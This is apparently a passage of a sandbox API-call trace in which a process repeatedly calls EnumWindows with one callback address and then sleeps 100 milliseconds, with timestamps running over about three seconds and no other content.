[0156.667] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.667] Sleep (dwMilliseconds=0x64) [0156.669] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.669] Sleep (dwMilliseconds=0x64) [0156.725] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.725] Sleep (dwMilliseconds=0x64) [0156.753] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.754] Sleep (dwMilliseconds=0x64) [0156.755] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.755] Sleep (dwMilliseconds=0x64) [0156.757] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.757] Sleep (dwMilliseconds=0x64) [0156.759] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.759] Sleep (dwMilliseconds=0x64) [0156.760] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.760] Sleep (dwMilliseconds=0x64) [0156.761] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.762] Sleep (dwMilliseconds=0x64) [0156.763] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.763] Sleep (dwMilliseconds=0x64) [0156.765] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.766] Sleep (dwMilliseconds=0x64) [0156.767] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.767] Sleep (dwMilliseconds=0x64) [0156.780] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.781] Sleep (dwMilliseconds=0x64) [0156.782] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.783] Sleep (dwMilliseconds=0x64) [0156.854] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0156.856] Sleep (dwMilliseconds=0x64) [0157.029] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.029] Sleep (dwMilliseconds=0x64) [0157.031] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.031] Sleep (dwMilliseconds=0x64) [0157.033] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.033] Sleep (dwMilliseconds=0x64) [0157.035] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.035] Sleep (dwMilliseconds=0x64) [0157.037] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.037] Sleep (dwMilliseconds=0x64) [0157.039] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.039] Sleep (dwMilliseconds=0x64) [0157.041] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.041] Sleep (dwMilliseconds=0x64) [0157.043] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.043] Sleep (dwMilliseconds=0x64) [0157.044] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.044] Sleep (dwMilliseconds=0x64) [0157.048] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.049] Sleep (dwMilliseconds=0x64) [0157.050] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.051] Sleep (dwMilliseconds=0x64) [0157.052] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.053] Sleep (dwMilliseconds=0x64) [0157.054] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.054] Sleep (dwMilliseconds=0x64) [0157.056] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.056] Sleep (dwMilliseconds=0x64) [0157.058] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.058] Sleep (dwMilliseconds=0x64) [0157.059] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.059] Sleep (dwMilliseconds=0x64) [0157.061] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.061] Sleep (dwMilliseconds=0x64) [0157.062] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.062] Sleep (dwMilliseconds=0x64) [0157.064] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.064] Sleep (dwMilliseconds=0x64) [0157.066] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.066] Sleep (dwMilliseconds=0x64) [0157.068] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.068] Sleep (dwMilliseconds=0x64) [0157.072] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.072] Sleep (dwMilliseconds=0x64) [0157.075] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.075] Sleep (dwMilliseconds=0x64) [0157.076] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.077] Sleep (dwMilliseconds=0x64) [0157.078] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.078] Sleep (dwMilliseconds=0x64) [0157.081] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.081] Sleep (dwMilliseconds=0x64) [0157.083] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.083] Sleep (dwMilliseconds=0x64) [0157.085] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.085] Sleep (dwMilliseconds=0x64) [0157.087] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.087] Sleep (dwMilliseconds=0x64) [0157.089] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.089] Sleep (dwMilliseconds=0x64) [0157.091] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.092] Sleep (dwMilliseconds=0x64) [0157.094] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.095] Sleep (dwMilliseconds=0x64) [0157.097] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.097] Sleep (dwMilliseconds=0x64) [0157.099] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.099] Sleep (dwMilliseconds=0x64) [0157.101] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.101] Sleep (dwMilliseconds=0x64) [0157.103] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.103] Sleep (dwMilliseconds=0x64) [0157.105] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.105] Sleep (dwMilliseconds=0x64) [0157.107] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.107] Sleep (dwMilliseconds=0x64) [0157.109] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.109] Sleep (dwMilliseconds=0x64) [0157.111] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.111] Sleep (dwMilliseconds=0x64) [0157.113] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.113] Sleep (dwMilliseconds=0x64) [0157.115] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.115] Sleep (dwMilliseconds=0x64) [0157.117] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.117] Sleep (dwMilliseconds=0x64) [0157.119] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.119] Sleep (dwMilliseconds=0x64) [0157.121] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.122] Sleep (dwMilliseconds=0x64) [0157.123] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.124] Sleep (dwMilliseconds=0x64) [0157.125] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.125] Sleep (dwMilliseconds=0x64) [0157.126] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.127] Sleep (dwMilliseconds=0x64) [0157.128] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.129] Sleep (dwMilliseconds=0x64) [0157.130] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.130] Sleep (dwMilliseconds=0x64) [0157.132] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.132] Sleep (dwMilliseconds=0x64) [0157.133] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.133] Sleep (dwMilliseconds=0x64) [0157.135] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.135] Sleep (dwMilliseconds=0x64) [0157.136] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.137] Sleep (dwMilliseconds=0x64) [0157.138] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.138] Sleep (dwMilliseconds=0x64) [0157.139] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.140] Sleep (dwMilliseconds=0x64) [0157.141] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.141] Sleep (dwMilliseconds=0x64) [0157.143] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.143] Sleep (dwMilliseconds=0x64) [0157.144] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.145] Sleep (dwMilliseconds=0x64) [0157.146] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.147] Sleep (dwMilliseconds=0x64) [0157.149] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.150] Sleep (dwMilliseconds=0x64) [0157.151] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.151] Sleep (dwMilliseconds=0x64) [0157.153] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.153] Sleep (dwMilliseconds=0x64) [0157.155] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.155] Sleep (dwMilliseconds=0x64) [0157.156] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.157] Sleep (dwMilliseconds=0x64) [0157.158] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.158] Sleep (dwMilliseconds=0x64) [0157.160] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.160] Sleep (dwMilliseconds=0x64) [0157.162] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.162] Sleep (dwMilliseconds=0x64) [0157.163] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.164] Sleep (dwMilliseconds=0x64) [0157.165] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.166] Sleep (dwMilliseconds=0x64) [0157.167] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.167] Sleep (dwMilliseconds=0x64) [0157.169] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.169] Sleep (dwMilliseconds=0x64) [0157.170] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.171] Sleep (dwMilliseconds=0x64) [0157.172] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.172] Sleep (dwMilliseconds=0x64) [0157.174] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.174] Sleep (dwMilliseconds=0x64) [0157.176] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.177] Sleep (dwMilliseconds=0x64) [0157.178] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.178] Sleep (dwMilliseconds=0x64) [0157.180] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.180] Sleep (dwMilliseconds=0x64) [0157.181] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.182] Sleep (dwMilliseconds=0x64) [0157.183] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.183] Sleep (dwMilliseconds=0x64) [0157.185] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.185] Sleep (dwMilliseconds=0x64) [0157.187] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.187] Sleep (dwMilliseconds=0x64) [0157.188] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.189] Sleep (dwMilliseconds=0x64) [0157.190] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.190] Sleep (dwMilliseconds=0x64) [0157.192] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.193] Sleep (dwMilliseconds=0x64) [0157.194] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.194] Sleep (dwMilliseconds=0x64) [0157.196] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.196] Sleep (dwMilliseconds=0x64) [0157.198] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.198] Sleep (dwMilliseconds=0x64) [0157.200] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.200] Sleep (dwMilliseconds=0x64) [0157.202] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.203] Sleep (dwMilliseconds=0x64) [0157.205] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.206] Sleep (dwMilliseconds=0x64) [0157.207] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.208] Sleep (dwMilliseconds=0x64) [0157.209] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.210] Sleep (dwMilliseconds=0x64) [0157.211] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.212] Sleep (dwMilliseconds=0x64) [0157.213] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.214] Sleep (dwMilliseconds=0x64) [0157.215] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.216] Sleep (dwMilliseconds=0x64) [0157.218] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.219] Sleep (dwMilliseconds=0x64) [0157.220] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.221] Sleep (dwMilliseconds=0x64) [0157.222] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.222] Sleep (dwMilliseconds=0x64) [0157.224] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.224] Sleep (dwMilliseconds=0x64) [0157.226] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.227] Sleep (dwMilliseconds=0x64) [0157.229] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.230] Sleep (dwMilliseconds=0x64) [0157.231] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.232] Sleep (dwMilliseconds=0x64) [0157.234] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.239] Sleep (dwMilliseconds=0x64) [0157.241] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.241] Sleep (dwMilliseconds=0x64) [0157.243] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.244] Sleep (dwMilliseconds=0x64) [0157.245] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.245] Sleep (dwMilliseconds=0x64) [0157.247] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.247] Sleep (dwMilliseconds=0x64) [0157.248] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.248] Sleep (dwMilliseconds=0x64) [0157.250] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.250] Sleep (dwMilliseconds=0x64) [0157.253] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.253] Sleep (dwMilliseconds=0x64) [0157.255] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.255] Sleep (dwMilliseconds=0x64) [0157.257] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.257] Sleep (dwMilliseconds=0x64) [0157.258] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.258] Sleep (dwMilliseconds=0x64) [0157.260] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.260] Sleep (dwMilliseconds=0x64) [0157.262] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.262] Sleep (dwMilliseconds=0x64) [0157.264] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.264] Sleep (dwMilliseconds=0x64) [0157.267] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.267] Sleep (dwMilliseconds=0x64) [0157.269] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.269] Sleep (dwMilliseconds=0x64) [0157.271] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.271] Sleep (dwMilliseconds=0x64) [0157.273] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.273] Sleep (dwMilliseconds=0x64) [0157.274] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.274] Sleep (dwMilliseconds=0x64) [0157.276] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.276] Sleep (dwMilliseconds=0x64) [0157.278] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.278] Sleep (dwMilliseconds=0x64) [0157.279] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.279] Sleep (dwMilliseconds=0x64) [0157.358] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.359] Sleep (dwMilliseconds=0x64) [0157.364] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.364] Sleep (dwMilliseconds=0x64) [0157.368] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.368] Sleep (dwMilliseconds=0x64) [0157.371] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.371] Sleep (dwMilliseconds=0x64) [0157.380] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.380] Sleep (dwMilliseconds=0x64) [0157.382] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.382] Sleep (dwMilliseconds=0x64) [0157.456] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.457] Sleep (dwMilliseconds=0x64) [0157.477] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.478] Sleep (dwMilliseconds=0x64) [0157.567] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.568] Sleep (dwMilliseconds=0x64) [0157.607] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.608] Sleep (dwMilliseconds=0x64) [0157.617] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.618] Sleep (dwMilliseconds=0x64) [0157.722] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.723] Sleep (dwMilliseconds=0x64) [0157.727] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.728] Sleep (dwMilliseconds=0x64) [0157.730] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.730] Sleep (dwMilliseconds=0x64) [0157.733] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.734] Sleep (dwMilliseconds=0x64) [0157.735] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.736] Sleep (dwMilliseconds=0x64) [0157.737] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.738] Sleep (dwMilliseconds=0x64) [0157.739] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.740] Sleep (dwMilliseconds=0x64) [0157.742] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.742] Sleep (dwMilliseconds=0x64) [0157.744] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.744] Sleep (dwMilliseconds=0x64) [0157.746] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.746] Sleep (dwMilliseconds=0x64) [0157.749] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.749] Sleep (dwMilliseconds=0x64) [0157.750] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.751] Sleep (dwMilliseconds=0x64) [0157.752] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.752] Sleep (dwMilliseconds=0x64) [0157.754] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.754] Sleep (dwMilliseconds=0x64) [0157.756] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.756] Sleep (dwMilliseconds=0x64) [0157.892] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0157.893] Sleep (dwMilliseconds=0x64) [0158.174] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.175] Sleep (dwMilliseconds=0x64) [0158.314] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.315] Sleep (dwMilliseconds=0x64) [0158.418] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.418] Sleep (dwMilliseconds=0x64) [0158.529] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.530] Sleep (dwMilliseconds=0x64) [0158.532] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.532] Sleep (dwMilliseconds=0x64) [0158.534] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.534] Sleep (dwMilliseconds=0x64) [0158.536] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.536] Sleep (dwMilliseconds=0x64) [0158.537] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.537] Sleep (dwMilliseconds=0x64) [0158.539] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.539] Sleep (dwMilliseconds=0x64) [0158.560] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.560] Sleep (dwMilliseconds=0x64) [0158.562] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.562] Sleep (dwMilliseconds=0x64) [0158.564] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.564] Sleep (dwMilliseconds=0x64) [0158.566] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.566] Sleep (dwMilliseconds=0x64) [0158.567] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.567] Sleep (dwMilliseconds=0x64) [0158.569] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.569] Sleep (dwMilliseconds=0x64) [0158.570] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.570] Sleep (dwMilliseconds=0x64) [0158.572] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.572] Sleep (dwMilliseconds=0x64) [0158.573] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.573] Sleep (dwMilliseconds=0x64) [0158.575] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.575] Sleep (dwMilliseconds=0x64) [0158.640] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.640] Sleep (dwMilliseconds=0x64) [0158.685] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.686] Sleep (dwMilliseconds=0x64) [0158.688] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.688] Sleep (dwMilliseconds=0x64) [0158.689] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.690] Sleep (dwMilliseconds=0x64) [0158.691] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.691] Sleep (dwMilliseconds=0x64) [0158.692] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.693] Sleep (dwMilliseconds=0x64) [0158.694] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.694] Sleep (dwMilliseconds=0x64) [0158.696] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.696] Sleep (dwMilliseconds=0x64) [0158.697] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.698] Sleep (dwMilliseconds=0x64) [0158.700] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.700] Sleep (dwMilliseconds=0x64) [0158.701] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.702] Sleep (dwMilliseconds=0x64) [0158.703] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.704] Sleep (dwMilliseconds=0x64) [0158.705] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.706] Sleep (dwMilliseconds=0x64) [0158.707] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.707] Sleep (dwMilliseconds=0x64) [0158.708] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.709] Sleep (dwMilliseconds=0x64) [0158.710] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.710] Sleep (dwMilliseconds=0x64) [0158.711] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.712] Sleep (dwMilliseconds=0x64) [0158.713] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.713] Sleep (dwMilliseconds=0x64) [0158.714] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.715] Sleep (dwMilliseconds=0x64) [0158.716] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.716] Sleep (dwMilliseconds=0x64) [0158.721] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.721] Sleep (dwMilliseconds=0x64) [0158.723] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.723] Sleep (dwMilliseconds=0x64) [0158.725] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.725] Sleep (dwMilliseconds=0x64) [0158.726] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.727] Sleep (dwMilliseconds=0x64) [0158.728] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.728] Sleep (dwMilliseconds=0x64) [0158.729] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.730] Sleep (dwMilliseconds=0x64) [0158.731] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.731] Sleep (dwMilliseconds=0x64) [0158.766] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.766] Sleep (dwMilliseconds=0x64) [0158.845] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.845] Sleep (dwMilliseconds=0x64) [0158.847] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.847] Sleep (dwMilliseconds=0x64) [0158.849] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.849] Sleep (dwMilliseconds=0x64) [0158.851] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.851] Sleep (dwMilliseconds=0x64) [0158.852] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.852] Sleep (dwMilliseconds=0x64) [0158.854] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.854] Sleep (dwMilliseconds=0x64) [0158.856] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.856] Sleep (dwMilliseconds=0x64) [0158.857] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.857] Sleep (dwMilliseconds=0x64) [0158.859] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.859] Sleep (dwMilliseconds=0x64) [0158.860] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.860] Sleep (dwMilliseconds=0x64) [0158.862] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.862] Sleep (dwMilliseconds=0x64) [0158.863] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.863] Sleep (dwMilliseconds=0x64) [0158.865] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.865] Sleep (dwMilliseconds=0x64) [0158.866] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.866] Sleep (dwMilliseconds=0x64) [0158.868] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.868] Sleep (dwMilliseconds=0x64) [0158.869] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.869] Sleep (dwMilliseconds=0x64) [0158.871] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.871] Sleep (dwMilliseconds=0x64) [0158.872] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.872] Sleep (dwMilliseconds=0x64) [0158.874] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.874] Sleep (dwMilliseconds=0x64) [0158.881] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.881] Sleep (dwMilliseconds=0x64) [0158.992] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0158.993] Sleep (dwMilliseconds=0x64) [0159.046] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.048] Sleep (dwMilliseconds=0x64) [0159.050] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.050] Sleep (dwMilliseconds=0x64) [0159.052] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.053] Sleep (dwMilliseconds=0x64) 